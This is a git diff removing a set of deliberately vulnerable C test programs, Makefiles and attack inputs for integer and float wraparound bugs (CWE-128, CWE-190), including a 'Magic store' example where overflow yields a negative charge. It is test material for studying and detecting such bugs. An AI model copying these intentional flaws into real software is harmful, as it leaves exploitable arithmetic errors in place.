diff --git a/.gitattributes b/.gitattributes
index b04bd5e2c50edc4cf7b3762dfb9bc4e3362af169..325a089f96028a533870d2dea82c4b4fecb51471 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -143,73 +143,6 @@ examples/memcpy.c -text
examples/myhanoi.c -text
examples/print_ptr.c -text
examples/recover_example.c -text
-integerbug_examples/C1_Number_Handling/CWE_128/FP/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_128/FP/Makefile.options -text
-integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_equals.c -text
-integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c -text
-integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_square.c -text
-integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_equals.c -text
-integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_sqrt.c -text
-integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_square.c -text
-integerbug_examples/C1_Number_Handling/CWE_128/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_128/bad.dat -text
-integerbug_examples/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c -text
-integerbug_examples/C1_Number_Handling/CWE_128/good.dat -text
-integerbug_examples/C1_Number_Handling/CWE_128/wrap_around_error.c -text
-integerbug_examples/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx -text
-integerbug_examples/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz -text
-integerbug_examples/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_190/Example2_bad.txt -text
-integerbug_examples/C1_Number_Handling/CWE_190/Example2_good.txt -text
-integerbug_examples/C1_Number_Handling/CWE_190/Example_UVA_good.txt -text
-integerbug_examples/C1_Number_Handling/CWE_190/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c -text
-integerbug_examples/C1_Number_Handling/CWE_190/bad.dat -text
-integerbug_examples/C1_Number_Handling/CWE_190/data.txt -text
-integerbug_examples/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c -text
-integerbug_examples/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c -text
-integerbug_examples/C1_Number_Handling/CWE_191/CWE_191_Example_1_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_191/CWE_191_Example_2_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx -text
-integerbug_examples/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz -text
-integerbug_examples/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_194/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py -text
-integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py -text
-integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx -text
-integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip -text
-integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip -text
-integerbug_examples/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz -text
-integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_195/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_195/example4_bad.dat -text svneol=unset#application/octet-stream
-integerbug_examples/C1_Number_Handling/CWE_195/example4_good.dat -text
-integerbug_examples/C1_Number_Handling/CWE_195/gen.cc -text
-integerbug_examples/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_196/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_197/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx -text
-integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz -text
-integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz -text
-integerbug_examples/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz -text
-integerbug_examples/C1_Number_Handling/CWE_198/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c -text
-integerbug_examples/C1_Number_Handling/CWE_369/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_682/Makefile -text
-integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c -text
-integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf -text
-integerbug_examples/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf -text
-integerbug_examples/C1_Number_Handling/CWE_839/Makefile -text
-integerbug_examples/smartfuzz/Makefile -text
-integerbug_examples/smartfuzz/simpletest.c -text
stock_examples/Makefile -text
stock_examples/apache2.stock -text
stock_examples/awk.stock -text
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/FP/Makefile b/integerbug_examples/C1_Number_Handling/CWE_128/FP/Makefile
deleted file mode 100644
index 8bb9248474cfba05dd8c252790f982291fbca71b..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/FP/Makefile
+++ /dev/null
@@ -1,93 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../../scripts/test.pl $(TESTFLAGS) .
-
-dbl_equals.ncexe: dbl_equals.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dbl_equals.conf
-
-dbl_equals: dbl_equals.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dbl_equals.ps_analyze.log
- cp dbl_equals.conf dbl_equals.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dbl_equals.conf
-
-dbl_equals.run: dbl_equals
- ../../../../scripts/test.pl $(TESTFLAGS) dbl_equals.ncexe
-
-dbl_sqrt.ncexe: dbl_sqrt.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dbl_sqrt.conf
-
-dbl_sqrt: dbl_sqrt.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dbl_sqrt.ps_analyze.log
- cp dbl_sqrt.conf dbl_sqrt.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dbl_sqrt.conf
-
-dbl_sqrt.run: dbl_sqrt
- ../../../../scripts/test.pl $(TESTFLAGS) dbl_sqrt.ncexe
-
-dbl_square.ncexe: dbl_square.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dbl_square.conf
-
-dbl_square: dbl_square.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dbl_square.ps_analyze.log
- cp dbl_square.conf dbl_square.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dbl_square.conf
-
-dbl_square.run: dbl_square
- ../../../../scripts/test.pl $(TESTFLAGS) dbl_square.ncexe
-
-fp_equals.ncexe: fp_equals.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >fp_equals.conf
-
-fp_equals: fp_equals.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee fp_equals.ps_analyze.log
- cp fp_equals.conf fp_equals.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> fp_equals.conf
-
-fp_equals.run: fp_equals
- ../../../../scripts/test.pl $(TESTFLAGS) fp_equals.ncexe
-
-fp_sqrt.ncexe: fp_sqrt.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >fp_sqrt.conf
-
-fp_sqrt: fp_sqrt.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee fp_sqrt.ps_analyze.log
- cp fp_sqrt.conf fp_sqrt.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> fp_sqrt.conf
-
-fp_sqrt.run: fp_sqrt
- ../../../../scripts/test.pl $(TESTFLAGS) fp_sqrt.ncexe
-
-fp_square.ncexe: fp_square.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >fp_square.conf
-
-fp_square: fp_square.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee fp_square.ps_analyze.log
- cp fp_square.conf fp_square.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> fp_square.conf
-
-fp_square.run: fp_square
- ../../../../scripts/test.pl $(TESTFLAGS) fp_square.ncexe
-
-clean:
- rm -f dbl_equals.ncexe dbl_sqrt.ncexe dbl_square.ncexe fp_equals.ncexe fp_sqrt.ncexe fp_square.ncexe
- rm -f dbl_equals dbl_sqrt dbl_square fp_equals fp_sqrt fp_square
- rm -f summary.csv logfail.txt logfile.txt dbl_equals.asm dbl_equals.idb dbl_equals.ncexe* stratafier.o.exe *.conf dbl_sqrt.asm dbl_sqrt.idb dbl_sqrt.ncexe* stratafier.o.exe *.conf dbl_square.asm dbl_square.idb dbl_square.ncexe* stratafier.o.exe *.conf fp_equals.asm fp_equals.idb fp_equals.ncexe* stratafier.o.exe *.conf fp_sqrt.asm fp_sqrt.idb fp_sqrt.ncexe* stratafier.o.exe *.conf fp_square.asm fp_square.idb fp_square.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: dbl_equals.ncexe dbl_sqrt.ncexe dbl_square.ncexe fp_equals.ncexe fp_sqrt.ncexe fp_square.ncexe
-
-analyze: targets dbl_equals dbl_sqrt dbl_square fp_equals fp_sqrt fp_square
-
-runall: dbl_equals.run dbl_sqrt.run dbl_square.run fp_equals.run fp_sqrt.run fp_square.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/FP/Makefile.options b/integerbug_examples/C1_Number_Handling/CWE_128/FP/Makefile.options
deleted file mode 100644
index de569821ca7c0e3d876ef4f36bb73bf6d0167397..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/FP/Makefile.options
+++ /dev/null
@@ -1 +0,0 @@
-LINKOPT += -lm
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_equals.c b/integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_equals.c
deleted file mode 100644
index 65d233b6590038a0312742bf4337dda4b51db794..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_equals.c
+++ /dev/null
@@ -1,37 +0,0 @@
-// Test of doubleing point overflow
-
-/*
-@GOOD_ARGS 123.0 1.0
-@NORMAL_OUTPUT_CONTAINS 1
-@BAD_ARGS 123.0 119.0
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS 0
-*/
-
-#include <stdlib.h>
-#include <stdio.h>
-
-int equals(double x, double y)
-{
- return (x == y);
-}
-
-
-int main(int argc, char **argv)
-{
- if (argc <= 2)
- {
- printf ("Usage: prog N divisor\n");
- exit(2);
- }
-
- double x = atof(argv[1]);
- double y = x;
-
- double z = atof(argv[2]);
-
- y /= z;
- y *= z;
-
- printf("%d\n", equals(x,y));
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c b/integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c
deleted file mode 100644
index 0d10b05b67cb8109b06296844a51cc5d01654168..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c
+++ /dev/null
@@ -1,26 +0,0 @@
-// Test of Sign problems
-
-/*
-@GOOD_ARGS 100.0
-@NORMAL_OUTPUT_CONTAINS 10
-@BAD_ARGS -100
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS nan
-*/
-
-#include <stdlib.h>
-#include <stdio.h>
-#include <math.h>
-
-double root(double x)
-{
- return sqrt(x);
-}
-
-
-int main(int argc, char **argv)
-{
- double x = atof(argv[1]);
- double y = root(x);
- printf("%f\n", y);
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_square.c b/integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_square.c
deleted file mode 100644
index 2e89e3e4a630ba78af15d77c43f4f103ff5dc26a..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/FP/dbl_square.c
+++ /dev/null
@@ -1,25 +0,0 @@
-// Test of doubleing point overflow
-
-/*
-@GOOD_ARGS 10
-@NORMAL_OUTPUT_CONTAINS e\+02
-@BAD_ARGS 1e200
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS inf
-*/
-
-#include <stdlib.h>
-#include <stdio.h>
-
-double square(double x)
-{
- return x * x;
-}
-
-
-int main(int argc, char **argv)
-{
- double x = atof(argv[1]);
- double y = square(x);
- printf("%e\n", y);
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_equals.c b/integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_equals.c
deleted file mode 100644
index b69ceff30e5f9e8dbb976b587142b6ec2b103d37..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_equals.c
+++ /dev/null
@@ -1,40 +0,0 @@
-// Test of floating point overflow
-
-
-/*
-@GOOD_ARGS 123.0 1.0
-@NORMAL_OUTPUT_CONTAINS 1
-@BAD_ARGS 1231223.0123123 119.01123123
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS 0
-*/
-
-#include <stdlib.h>
-#include <stdio.h>
-
-int equals(float x, float y)
-{
- return (x == y);
-}
-
-
-int main(int argc, char **argv)
-{
- if (argc <= 2)
- {
- printf ("Usage: prog N divisor\n");
- exit(2);
- }
-
- float x = atof(argv[1]);
- float y = x;
-
- float z = atof(argv[2]);
-
- y /= z;
- y += 100000;
- y *= z;
- y -= 100000;
-
- printf("%d\n", equals(x,y));
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_sqrt.c b/integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_sqrt.c
deleted file mode 100644
index b0dacfaf41b8f4bfe17f759d834d4e1a66adce74..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_sqrt.c
+++ /dev/null
@@ -1,26 +0,0 @@
-// Test of Sign problems
-
-/*
-@GOOD_ARGS 100.0
-@NORMAL_OUTPUT_CONTAINS 10
-@BAD_ARGS -100
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS nan
-*/
-
-#include <stdlib.h>
-#include <stdio.h>
-#include <math.h>
-
-float root(float x)
-{
- return sqrtf(x);
-}
-
-
-int main(int argc, char **argv)
-{
- float x = atof(argv[1]);
- float y = root(x);
- printf("%f\n", y);
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_square.c b/integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_square.c
deleted file mode 100644
index 965a866ea280a6f857254f384c9c7b928c9312b0..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/FP/fp_square.c
+++ /dev/null
@@ -1,25 +0,0 @@
-// Test of floating point overflow
-
-/*
-@GOOD_ARGS 10
-@NORMAL_OUTPUT_CONTAINS e\+02
-@BAD_ARGS 1e20
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS inf
-*/
-
-#include <stdlib.h>
-#include <stdio.h>
-
-float square(float x)
-{
- return x * x;
-}
-
-
-int main(int argc, char **argv)
-{
- float x = atof(argv[1]);
- float y = square(x);
- printf("%e\n", y);
- exit(0);
-}
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/Makefile b/integerbug_examples/C1_Number_Handling/CWE_128/Makefile
deleted file mode 100644
index 1992bb0e37b10d99514b0fc1747e518cc96138bf..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/Makefile
+++ /dev/null
@@ -1,45 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-#include ../../Makefile.options
-#include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-dumbledore_store_wrap_around_error.ncexe: dumbledore_store_wrap_around_error.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dumbledore_store_wrap_around_error.conf
-
-dumbledore_store_wrap_around_error: dumbledore_store_wrap_around_error.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ --step ilr=off --step p1transform=off --step concolic=off 2>&1 | tee dumbledore_store_wrap_around_error.ps_analyze.log
- cp dumbledore_store_wrap_around_error.conf dumbledore_store_wrap_around_error.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ --step ilr=off --step p1transform=off --step concolic=off >> dumbledore_store_wrap_around_error.conf
-
-dumbledore_store_wrap_around_error.run: dumbledore_store_wrap_around_error
- ../../../scripts/test.pl $(TESTFLAGS) dumbledore_store_wrap_around_error.ncexe
-
-wrap_around_error.ncexe: wrap_around_error.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >wrap_around_error.conf
-
-wrap_around_error: wrap_around_error.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ --step ilr=off --step p1transform=off --step concolic=off 2>&1 | tee wrap_around_error.ps_analyze.log
- cp wrap_around_error.conf wrap_around_error.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> wrap_around_error.conf
-
-wrap_around_error.run: wrap_around_error
- ../../../scripts/test.pl $(TESTFLAGS) wrap_around_error.ncexe
-
-clean:
- rm -f dumbledore_store_wrap_around_error.ncexe wrap_around_error.ncexe
- rm -f dumbledore_store_wrap_around_error wrap_around_error
- rm -f summary.csv logfail.txt logfile.txt dumbledore_store_wrap_around_error.asm dumbledore_store_wrap_around_error.idb dumbledore_store_wrap_around_error.ncexe* stratafier.o.exe *.conf wrap_around_error.asm wrap_around_error.idb wrap_around_error.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log
- rm -rf peasoup_executable_directory*
-
-targets: dumbledore_store_wrap_around_error.ncexe wrap_around_error.ncexe
-
-analyze: targets dumbledore_store_wrap_around_error wrap_around_error
-
-runall: dumbledore_store_wrap_around_error.run wrap_around_error.run
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/bad.dat b/integerbug_examples/C1_Number_Handling/CWE_128/bad.dat
deleted file mode 100644
index 0d6a524ba4bb4d62ff585ceb90c77652523ffb50..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/bad.dat
+++ /dev/null
@@ -1 +0,0 @@
-1 5
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c b/integerbug_examples/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c
deleted file mode 100644
index b20f24730c3d00f50cbf96b42894ef1e325107f0..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
-@GOOD_ARGS <good.dat
-@BAD_ARGS <bad.dat
-@ATTACK_SUCCEEDED_OUTPUT_CONTAINS Your credit card will be charged \$-
-
-bjm this example is intended to illustrate wrap around error
-this an EXPLOIT that doesn't result in a buffer over flow but is very serous.
-
-the following is three examples from the listed site. This code was written to illustrate example 1
-
-http://projects.webappsec.org/w/page/13246946/Integer-Overflows
-1) When calculating a purchase order total, an integer overflow could allow the total to shift from a positive value to a negative one. This would, in effect, give money to the customer in addition to their purchases, when the transaction is completed.
-
-2) Withdrawing 1 dollar from an account with a balance of 0 could cause an integer underflow and yield a new balance of 4,294,967,295.
-
-3) A very large positive number in a bank transfer could be cast as a signed integer by a back-end system. In such case, the interpreted value could become a negative number and reverse the flow of money - from a victim's account into the attacker's.
-
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <ctype.h>
-#ifdef ASSERT
-#include <assert.h>
-#include <limits.h>
-#endif
-
-int main(int argc, char**argv)
-{
- short int price1 = 10000;
- short int price2 = 6000;
- short int price3 = 10;
- short int price4 = 1000;
-/*bjm
-short signed: -32768 to 32767
-short unsigned: 0 to 65535
-long signed:-2147483648 to 2147483647 (Default unless you're using DOS)
-long unsigned: 0 to 4294967295
-*/
- short int selected_item, number_of_items, total_price = 0;
- char *item1 = "Dumbledore's Wand";
- char *item2 = "Harry's Wand";
- char *item3 = "Snake Potion";
- char *item4 = "Flying Broom";
- char *selected_item_string = " ";
-
-/* display store */
-for(;;){
- printf(" Magic store \n\n\n ");
- printf("Item 1. %s $=%i\n ", item1, price1);
- printf("Item 2. %s $=%i\n ", item2, price2);
- printf("Item 3. %s $=%i\n ", item3, price3);
- printf("Item 4. %s $=%i\n\n\n ", item4, price4);
- printf("Enter the number of the item you wish to purchase = ");
-
-//get input selected_item
- selected_item = getchar();
- selected_item = selected_item - '0';
-//validate input
-
- if ( (0< selected_item) && (selected_item <5) ){
- break;
- }
- else{
- printf("\n Invalid entry actual item %i\n",selected_item);
- exit(1);
- }
-
-}
-
-
-switch(selected_item){
- case 1:
- printf("\nEnter how many %ss do you want = ",item1);
- break;
- case 2:
- printf("\nEnter how many %ss do you want = ",item2);
- break;
- case 3:
- printf("\nEnter how many %ss do you want = ",item3);
- break;
- case 4:
- printf("\nEnter how many %ss do you want = ",item4);
- break;
- default:
- printf("\nError unknown Item \n");
- break;
-}
-//get input number_of_items
- fscanf(stdin,"%hi",&number_of_items);
- printf("\n");
-
-//woops I forgot to check the inventory or limit the number of items
-
-
-/* multiply number of items * dollar value */
-switch(selected_item){
- case 1:
- total_price = number_of_items * price1 ;
- selected_item_string = item1;
- break;
- case 2:
- total_price = number_of_items * price2 ;
- selected_item_string = item2;
- break;
- case 3:
- total_price = number_of_items * price3 ;
- selected_item_string = item3;
- break;
- case 4:
- total_price = number_of_items * price4 ;
- selected_item_string = item4;
- break;
- default:
- printf("Error calculating price \n");
- exit(1);
- break;
-}
-
-/* display conformation page */
- printf("\n\n Shopping Summary\n\n");
-
-/* This is what is charged to your card
- if it is -$ it is an exploit
- credit cards will gladly go negative
- */
-printf("Your credit card will be charged $%i\n\n",total_price);
-
-/* N items will be shiped to you
- if total price is -$ n is probaly a large number of items you will sell on E-bay
- */
-printf("You will be shiped %i %ss\n", number_of_items, selected_item_string);
-
-/* confirm purchase */
-//bjm I didn't bother with a confirmation
-
-//printf("Do wish to continue with the purchase Y or N \n");
-//get input
-//validate Y or N
-
-printf("\n\nThank you for shoping at the Magic store\n\n");
-/*
- charge the credit card
- */
-
-#ifdef ASSERT
-assert( total_price >0 );
-#endif
- exit(0);
-}
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/good.dat b/integerbug_examples/C1_Number_Handling/CWE_128/good.dat
deleted file mode 100644
index 2fb73a07ec2d7b737fbb6c160ff8bc78dadb6930..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/good.dat
+++ /dev/null
@@ -1 +0,0 @@
-1 1
diff --git a/integerbug_examples/C1_Number_Handling/CWE_128/wrap_around_error.c b/integerbug_examples/C1_Number_Handling/CWE_128/wrap_around_error.c
deleted file mode 100644
index c65a29927d266999117aee36ad9782418be4736b..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_128/wrap_around_error.c
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
-@GOOD_ARGS 123
-@BAD_ARGS 32767
-@ATTACK_SUCCEEDED_CODE 1
-
-Wrap-around Error
-
-Description Summary
-Wrap around errors occur whenever a value is incremented past the maximum value for its
-type and therefore "wraps around" to a very small, negative, or undefined value.
-
-Common Consequences
-Scope Effect
-Availability Wrap-around errors generally lead to undefined behavior, infinite loops,
- and therefore crashes.
-
-Integrity If the value in question is important to data (as opposed to flow), simple
- data corruption has occurred. Also, if the wrap around results in other conditions
- such as buffer overflows, further memory corruption may occur.
-
-Integrity A wrap around can sometimes trigger buffer overflows which can be used to
- execute arbitrary code. This is usually outside the scope of a program's
- implicit security policy.
-
-Background Details
-Due to how addition is performed by computers, if a primitive is incremented past the
-maximum value possible for its storage space, the system will not recognize this, and
-therefore increment each bit as if it still had extra space. Because of how negative
-numbers are represented in binary, primitives interpreted as signed may "wrap" to
-very large negative values.
-
-
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#ifdef ASSERT
-#include <assert.h>
-#include <limits.h>
-#endif
-
-int main(int argc, char**argv)
-{
- short int i = atoi(argv[1]);
-
- i++;
- printf("%hi\n", i);
- printf("%i\n", atoi(argv[1]));
-#ifdef ASSERT
-/*bjm
-short signed: -32768 to 32767
-short unsigned: 0 to 65535
-long signed:-2147483648 to 2147483647 (Default unless you're using DOS)
-long unsigned: 0 to 4294967295
-*/
-assert( (atoi(argv[1])<SHRT_MAX) && (atoi(argv[1])>SHRT_MIN-2));
-#endif
-/*bjm
-This may be training grace. It is also slightly wrong the assert
-checks the right range of values acounting for i++
-*/
-if (i < 0) { exit(1); }
- exit(0);
-}
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx b/integerbug_examples/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx
deleted file mode 100644
index 6f81e7f3cad63505f8567a5adf6ed0db353b4c2b..0000000000000000000000000000000000000000
Binary files a/integerbug_examples/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx and /dev/null differ
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz.REMOVED.git-id b/integerbug_examples/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz.REMOVED.git-id
deleted file mode 100644
index 55322f91ef79446da3433e28c0c147d9ad40713e..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz.REMOVED.git-id
+++ /dev/null
@@ -1 +0,0 @@
-387f798ca63553458caca123ad12c173ec4ceb52
\ No newline at end of file
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c b/integerbug_examples/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c
deleted file mode 100644
index b42f9e0c68c3e47e2bdca82cb1d1e2ffcfef7425..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
-Integer Overflow or Wraparound
-
-
-Description Summary
-The software performs a calculation that can produce an integer overflow or wraparound,
-when the logic assumes that the resulting value will always be larger than the original
-value. This can introduce other weaknesses when the calculation is used for resource
-management or execution control.
-
-Extended Description
-An integer overflow or wraparound occurs when an integer value is incremented to a
-value that is too large to store in the associated representation. When this occurs,
-the value may wrap to become a very small or negative number. While this may be
-intended behavior in circumstances that rely on wrapping, it can have security
-consequences if the wrap is unexpected. This is especially the case if the integer
-overflow can be triggered using user-supplied inputs. This becomes security-critical
-when the result is used to control looping, make a security decision, or determine
-the offset or size in behaviors such as memory allocation, copying, concatenation, etc.
-
-Common Consequences
